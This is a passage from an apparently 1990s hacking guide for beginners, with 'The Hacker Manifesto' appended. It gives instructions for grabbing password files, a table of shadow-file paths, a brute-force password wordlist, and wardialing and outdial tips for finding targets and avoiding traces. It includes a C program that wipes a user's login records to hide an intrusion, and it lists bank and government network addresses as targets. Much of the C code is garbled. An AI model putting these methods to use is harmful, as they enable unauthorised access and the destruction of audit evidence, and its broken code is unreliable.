- root:*:0:3:::
- ftp:*:500:19:::
- aolbeta:*:295:20:::
- macbeta:*:297:20:::
- atropos:*:228:20:::
-
- In this case the * was in place for the encrypted password. Here is a sample of the other
- type I have seen:
-
- Cougar:X:5:9987:/home/dir/bin
-
- Now to defeat this here is the first way:
-
-
- UNIX Path Token
- -----------------------------------------------------------
- AIX 3 /etc/security/passwd !
- or /tcb/auth/files//
- A/UX 3.0s /tcb/files/auth/?/*
- BSD4.3-Reno /etc/master.passwd *
- ConvexOS 10 /etc/shadpw *
- ConvexOS 11 /etc/shadow *
- DG/UX /etc/tcb/aa/user/ *
- EP/IX /etc/shadow X
- HP-UX /.secure/etc/passwd *
- IRIX 5 /etc/shadow X
- Linux1.1 /etc/shadow *
- OSF/1 /etc/passwd[.dir|.pag] *
- SCO Unix #.2.x /tcb/auth/files//
- SunOS4.1+c2 /etc/security/passwd.adjunct ##username
- SunOS 5.0 /etc/shadow
-
- System V Release 4.0 /etc/shadow X
- System V Release 4.2 /etc/security/* database
- Ultrix 4 /etc/auth[.dir|.pag] *
- UNICOS /etc/udb *
-
-
- Here is the second way. This is more confusing because you need to understand what a
- loop is. I got this out of the Library section of the HackerZ Hideout. So you can look in there
- too if you want :)
-
- This trick will only work with certain systems. Notice how the loop works. It is very
- important to the hacker. If you can find anything on loops, read it! It is great knowledge to
- have,but even I have trouble understanding it. Once you are in a Unix system, and of course,
- the passwd file is shadowed, try typing in "ypcat /etc/passwd >~/passwd"instead of"etc/passwd".
- Now download the passwd file from your home dir. Here is the trick, type in:
-
- rm -f ~/.lastlogin
-
- ln -s ~/.lastlogin /etc/passwd
-
- Now logout and then back in so that you create a link.
-
- cat .lastlogin > passwd
- rm -f ~/.lastlogin
-
-
- That way is a little tricky, but read up on loops and maybe it will work out for you.
- Here is the third and final trick. It is probably the best way because supposedly, it works
- with everything. What you will do is write a C-script. For those of you who don't know what a
- C-script is, it is a program that you write out in the C language Such as C++. You can get C++
- at the store or ask around to warez pups. They should have it. What you will do is write it out.
- Then what you will have to do is go and compile it. It shouldn't be to hard. Anyway, here is
- the script:
-
-
-
- struct SHADOWPW { /* see getpwent(3) */
- char *pw_name;
- char *pw_passwd;
- int pw_uid;
- int pw_gid;
- int pw_quota;
- char *pw_comment;
- char *pw_gecos;
- char *pw_dir;
- char *pw_shell;
- };
- struct passwd *getpwent(), *getpwuid(), *getpwnam();
-
- #ifdef elxsis?
-
- /* Name of the shadow password file. Contains password and aging info*
-
- #define SHADOW "/etc/shadowpw"
- #define SHADOWPW_PAG "/etc/shadowpw.pag"
- #define SHADOWPW_DIR "/etc/shadowpw.dir"
- /*
- * Shadow password file pwd->pw_gecos field contains:
- *
- * <type>,<period>,<last_time>,<old_time>,<old_password>
- *
- * <type> = Type of password criteria to enforce (type int).
- * BSD_CRIT (0), normal BSD.
- * STR_CRIT (1), strong passwords.
- * <period> = Password aging period (type long).
- * 0, no aging.
- * else, number of seconds in aging period.
- * <last_time> = Time (seconds from epoch) of the last password
- * change (type long).
- * 0, never changed.n
- * <old_time> =Time (seconds from ephoch) That the current password
- * Was made the <old_password> (type long).
- * 0, never changed.ewromsinm
- * <old_password> = Password (encrypted) saved for an aging <period> t
- * prevent reuse during that period (type char [20]).
- * "*******", no <old_password>.
- */
-
- /* number o tries to change an aged password */
-
- #deffine CHANGE_TRIES 3
-
- /* program to execute to change passwords */
-
- #define PASSWD_PROG "/bin/passwd"
-
- /* Name of the password aging exempt user names and max number of entir
-
- #define EXEMPTPW "/etc/exemptpw"
- #define MAX_EXEMPT 100
-
-
- /* Password criteria to enforce */
-
- #define BSD_CRIT 0 /* Normal BSD password criteria */
- #define STR_CRIT 1 /* Strong password criteria */
- #define MAX_CRIT 1
- #endif elxsi
- #define NULL 0
- main()
- {
- struct passwd *p;
- int i;
- for (;1;) {;
- p=getpwent();
- if (p==NULL) return;
- printpw(p);
- }
- }
-
- printpw(a)
- struct SHADOWPW *a;
- {
- printf("%s:%s:%d:%d:%s:%s:%s\n",
- a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
- a->pw_gecos,a->pw_dir,a->pw_shell);
- }
-
- /* SunOS 5.0 /etc/shadow */
- /* SunOS4.1+c2 /etc/security/passwd.adjunct */
-
-
- Chapter13: Dial outs
-
- A NUA can sometimes connect you to what is called an outdial. An outdial is a modem that
- you can get to through the NUA. A good use for this is to use a scanner and dial every # from
- 0000-9999 on a 3-digit prefix in your area for a list of computers you can hack into. You can
- also hack them through this outdail. More on scanning later. Another great use for outdials is
- to dial up long-distance BBS #'s or other telenet #'s or any # of things you can think of! Also
- it is much harder and more expensive to trace a call if you are using an outdial. It will be
- traced to the system.
-
- A thing that you should do before you even attempt to dial out a number is the redial
- command. This is because it will dial out the number that was dialed just before and is an
- excellent way to find new systems to hack:). Also, on a ventel modem, type "d" and it will list
- 5 modem numbers in its memory that you can connect to! So I guess right now you're saying,
- "Well, how do I find one of these outdials?"Well, you will need to find a system called a,
- "Decserver". What I would recommend is to get a list of NUA's from somebody or a magazine such
- as phrack#21, or 2600. They should have a list of them in there.
-
- Chapter 14: Scanners
-
- A scanner is a program that will dial every # in a 3-digit prefix from 0000-9999. For
- example:
-
- My telephone number is 898-3788 (yeah right) so if I thought my school was in the 898 area, I
- would put in "898" for the 3-digit prefix and set it to dial every number from 0000-9999. Using
- 898 in the front o each number, I am certain to find the number that my school modem is at and
- every other modem that will connect me to a system. Just make sure that you either dial *67 if
- it asks you for a certain code thing so that your calls cannot be traced or just use an outdial.
-
- Note! A good thing to do whenever you hack is to either use a converter or a modem jammer.
- This will also prevent your calls from being traced :)
-
- Chapter 15: Brute force hacking
-
- Brute force hacking is a method made for systems that don't keep track of you trying to
- login such as UNIX. You will notice that on some UNIX boxes that the default will not
- work. It can be very frustrating! This method approaches the system by typing the default in
- where it ask you to login and use this whole list of words for passwords. You have to do it
- over and over again. It will take a long time, but every hacker must be patient. An example
- of what I am saying is doing something like this:
-
- login: sysadmin
- password: aaa
- login incorrect
- login: sysadmin
- password: academia etc.
-
- I am not sure how you would make a program that can make brute force hacking a lot easier,
- but I am sure that there is a way and if you look around on the web a little bit, I am sure
- that you would be able to find the C-script. So just search around a little bit.
-
- As you see, it takes a lot of work. You will have to do this for each default, so just
- be patient. Most of these passwords come from LOD. I put a few in there but not nearly as many
- as them.
-
- ------------------------------------------------------------
- Brute force hacking
- ------------------------------------------------------------
-
- aaa
- academia
- ada
- adrian
- aerobics
- daniel
- danny
- dave
- deb
- debbie
- jester
- johnny
- joseph
- joshua
- judith
- rascal
- really
- rebecca
- remote
- rick
- airplane
- albany
- albatross
- albert
- alex
- alexander
- algebra
- alias
- alpha
- alphabet
- ama
- amy
- analog
- anchor
- andy
- andrea
- animal
- answer
- anything
- arrow
- arthur
- asshole
- athena
- atmosphere
- attention
- aligator
- alpine
- altitude
- billy
- bacchus
- badass
- bailey
- anana
- bandit
- banks
- bass
- batman
- beauty
- beaver
- beethoven
- beloved
- benz
- beowulf
- berkeley
- berlin
- beta
- beverly
- bob
- brenda
- brian
- bridget
- broadway
- bumbling
- bubbles
- buger
- belt
- bitch
- basturd
- bee
- butt
- bust
- bib
- cardinal
- carmen
- carolina
- caroline
- castle
- cat
- celtics
- change
- charles
- charming
- charon
- chester
- celebrate
- cattle
- cadabra
- chilly
- chelsey
- cucumber
- deborah
- december
- desperate
- develop
- diet
- digital
- discovery
- disney
- dog
- drought
- duncan
- dudu
- dust
- dimple
- dip
- doodle
- dildo
- dic
- disaster
- damn
- dig
- dug
- easy
- eatme
- edges
- edwin
- egghead
- eileen
- einstein
- elephant
- elizabeth
- ellen
- emerald
- engine
- engineer
- enterprise
- enzyme
- euclid
- evelyn
- extension
- fairway
- felicia
- fender
- fermat
- finite
- flower
- foolproof
- football
- format
- forsythe
- fourier
- fred
- friend
- frighten
- fun
- fagot
- fumble
- fabulous
- fix
- fiddle
- finger
- gabriel
- garfield
- gauss
- george
- gertrude
- gibson
- ginger
- gnu
- gol
- golffer
- gorgeous
- graham
- gryphon
- guest
- guitar
- gilbert
- hacker
- hug
- halarius
- hell
- heep
- hip
- hop
- hope
- humble
- hill
- head
- hello
- heck
- huddle
- ireland
- juggle
- julia
- kathleen
- kermit
- kernel
- knight
- kathy
- lambda
- larry
- lazarus
- lee
- leroy
- lewis
- light
- lisa
- louis
- lynne
- list
- limp
- mac
- macintosh
- mack
- maggot
- magic
- malcolm
- mark
- marck
- marc
- markus
- marty
- marvin
- master
- maurice
- merlin
- mets
- michael
- ichelle
- mike
- minimum
- minsky
- mogul
- moose
- mozart
- nancy
- napoleon
- network
- newton
- next
- olivia
- oracle
- orca
- orwell
- osiris
- outlaw
- oxford
- paciic
- painless
- pam
- paper
- password
- pat
- patricia
- penguin
- pete
- peter
- reagan
- robot
- robotics
- rolex
- ronald
- rosebud
- rosemary
- roses
- ruben
- rules
- ruth
- sal
- saxon
- scheme
- scott
- scotty
- secret
- sensor
- serenity
- sex
- shark
- sharon
- shit
- shiva
- shuttle
- simon
- simple
- singer
- single
- smile
- smiles
- smooch
- smother
- snatch
- snoopy
- soap
- socrates
- spit
- spring
- subway
- success
- summer
- super
- support
- surfer
- suzanne
- tangerine
- tape
- target
- taylor
- telephone
- thomas
- temptation
- tiger
- toggle
- tomato
- toyota
- trivial
- theresa
- unhappy
- unicorn
- unknown
- cigar
- classic
- cofee
- harmony
- harold
- harvey
- philip
- phoenix
- pierre
- urchin
- utility
- vicky
- coke
- collins
- comrade
- computer
- condo
- condom
- cookie
- cooper
- create
- creation
- creator
- cretin
- daemon
- dancer
- heinlein
- hello
- help
- herbert
- honey
- horse
- imperial
- include
- ingres
- innocuous
- irishman
- isis
- japan
- jessica
- pizza
- plover
- polynomial
- praise
- prelude
- prince
- protect
- pumpkin
- puppet
- rabbit
- rachmaninoff
- rainbow
- raindrop
- random
- virinia
- virgin
- warren
- water
- weenie
- whatnot
- whitney
- will
- william
- willie
- winston
- wizard
- wombat
- yosemite
- zap
- ------------------------------------------------------------
-
- Well, like I said, I added a couple words in there, maybe 20 or so, but most of these
- come from LOD. In my next book, I will keep every UNIX password I get and have my own password
- list.
-
- Chapter 16: C-script for erasing your logins
-
- Well, if you want to really be secure, this is one of the best ways! There might be some
- ways that you could think of typing in to erase it but it won't work. Only a program can erase
- your logins. Aren't programs great:) I already told you what a C-script is so just copy this or
- type it in in your C program and then compile it.
-
- ------------------------------------------------------------
-
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #define WTMP_NAME "/usr/adm/wtmp"
- #define UTMP_NAME "/etc/utmp"
- #define LASTLOG_NAME "/usr/adm/lastlog"
-
- int f;
-
- void kill_utmp(who)
- char *who;
- {
- struct utmp utmp_ent;
- if ((f=open(UTMP_NAME,_RDWR))>=0) {
- while(read (f, &utmp_ent,
- sizeof (utmp_ent))> 0 )
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof( utmp_ent ));
- lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
- write (f, &utmp_ent, sizeof (utmp_ent));
-
- }
- close(f);
- }
- }
-
- void kill_wtmp(who)
- char *who;
- {
- struct utmp utmp_ent;
- long pos;
-
- pos = 1L;
- if ((f=open(WTMP_NAME,O_RDWR))>=0) {
-
- while(pos != -1L) {
- lseek(f,-(long)( (sizeof(struct utmp)) *pos),L_XTND);
- if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
- pos = -1L;
- } else {
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof(struct utmp ));
- lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
- write (f, utmp_ent, sizeof (utmp_ent));
- pos = -1L;
- } else pos += 1L;
- }
- }
- close(f);
- }
- }
-
- void kill_lastlog(who)
- char *who;
- {
- struct passwd *pwd;
- struct lastlog newll;
-
- if ((pwd=getpwnam(who))!=NULL) {
-
- if ((f=open(LASTLOG_NAME, O_RDWR)) >=0) {
- lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
- bzero((char *)&newll,sizeof( newll ));
- close(f);
- }
-
- } else printf("%s: ?/n",who);
- }
-
- mai(argc,argv)
- int argc;
- char *argv[];
- {
- if (argc--2) {
- kill_lastlog(argv[1]);
- kill_wtmp(argv[1]);
- kill_utmp(argv[1]);
- printf("Zap2!/n");
- } else
- printf("Error./n");
- }
- ------------------------------------------------------------
-
- Well, that is an excellent way to keep yourself safe. I would highly recomend it!
-
-
- Chapter 17: Keeping yourself safe
-
- Well, the things that you will mostly need are up at the front in the list that I gave
- you of stuff that you will need. What I would recommend is to:
-
- 1.) encrypt your hard drive
- 2.) use a modem jammer before you even get onto telenet
- 3.) first find yourself an outdial, then dial up another number that you are interested in
- hacking or dial up into another telenet number and connect onto there and hack some NUA's from
- there.
- 4.) Don't brag to anyone! about you hacking any systems.
- 5.) Never Hack Government systems unless you know what the hell your doing and plan on moving.
-
- If you pretty much do that, I would say that you should be safe.
-
- Chapter 18: NUA's that I have found
-
- Unfortunately Almost all of the NUA's that I have found are government systems. There are
- a few that seem like they might be pretty cool, but make sure that you know what you are doing!
-
-
- NUA TIPS
-
- 201 156 A UNIX system! excelent to start out
- with but the problem is that it is
- for more experienced UNIX hackers.
-
- 90155 ?
-
- 2241 It will say"DTE". Seems to be a bank
- up in main.
-
- 22417 Government system, leave it alone!
-
- 22425 ?
-
- 2236 Gives you a "<"prompt. tell it
- anything, when you go to login,
- it will ask for a transaction ID.
-
- 3215 NASA, LEAVE IT ALONE!!!!!!!!
-
- 22430 Bank in Athens Greece. Looks very
- interesting!
-
- 201170 asks you to enter a command
-
- 201179 asks you for an application
-
- 201200 Not sure, wouldn't take a chance
-
- 201201 same as 201200
-
- 202255 type "help" then choose your terminal
- type. I wouldn't take any chances
- though, looks a little tight on
- security.
-
-
- Chapter 19: Conclusion
-
- Thanx to:
-
- 1.) LOD
- 2.) The HackerZ Hideout
- 3.) Every hacker that helped me out
- 4.) My parents for putting up with me and not getting to mad for taking out effort in school.
- 5.) And all my friends that let me skip band practice :)
-
- If you wish to contact me at anytime,write to my E-mail address:IceKo0L@aol.com
-
- This book was intended for newbies. I am stuck between being an intelligent hacker and
- newbie, but as soon as I get some books on some newer systems and learn how they work, I will
- be putting in all the defaults and helpful commands. It wont have as much newbie material, it
- will be for more experienced hackers. I hope this file has helped you with all of your hacking
- needs. When I was a newbie there wasn't to many things to look at, it was all trial and error.
- It still will be for you, but you have a better idea of what hacking is like. All I recommend
- for you to do now is to read more books.
-
-
- +++ICE KOOL+++
-
-
- HACKERS MANIFESTO
- ------------------------------------------------------------
-
-
- Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime
- Scandal", "Hacker Arrested after Bank Tampering"...Damn kids. They're all alike. But did you,
- in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the
- hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded
- him? I am a hacker, enter my world...Mine is a world that begins with school... I'm smarter
- than most of the other kids, this crap they teach us bores me...Damn underachiever. They're all
- alike. I'm in junior high or high school. I've listened to teachers explain for the fifteenth
- time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it
- in my head..." Damn kid. Probably copied it. They're all alike. I made a discovery today. I
- found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake,
- it's because I screwed it up. Not because it doesn't like me...or feels threatened by me...
- or thinks I'm a smart ass...Or doesn't like teaching and shouldn't be here...
- Damn kid. All he does is play games. They're all alike. And then it happened... a door opened
- to a world... rushing through the phone line like heroin through an addict's veins, an
- electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board
- is found. "This is it...this is where I belong..." I know everyone here...even if I've never
- meet them, never talked to them, may never hear from them again... I know you all... Damn kid.
- Tying up the phone line again. They're all alike... You bet your ass we're all alike...
- we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that
- you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or
- ignored by the apathetic. The few that had something to teach found us willing pupils, but
- those few are like drops of water in the desert. This is our world now... the world of the
- electron and the switch, the beauty of the baud. We make use of a service already existing
- without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you
- call us criminals. We explore... and you call us criminals. We seek after knowledge... and you
- call us criminals. We exist without skin color, without nationality, without religious bias...
- and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to
- us and try to make us believe it's or our own good, yet we're the criminals. Yes, I am a
- criminal. My crime is that of curiosity. My crime is that of judging people by what they say
- and think, not what they look like. My crime is that of outsmarting you, something that you
- will never forgive me for.
-
- I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop
- us all. After all, we're all alike.
-
- +++The Mentor+++
-
-
-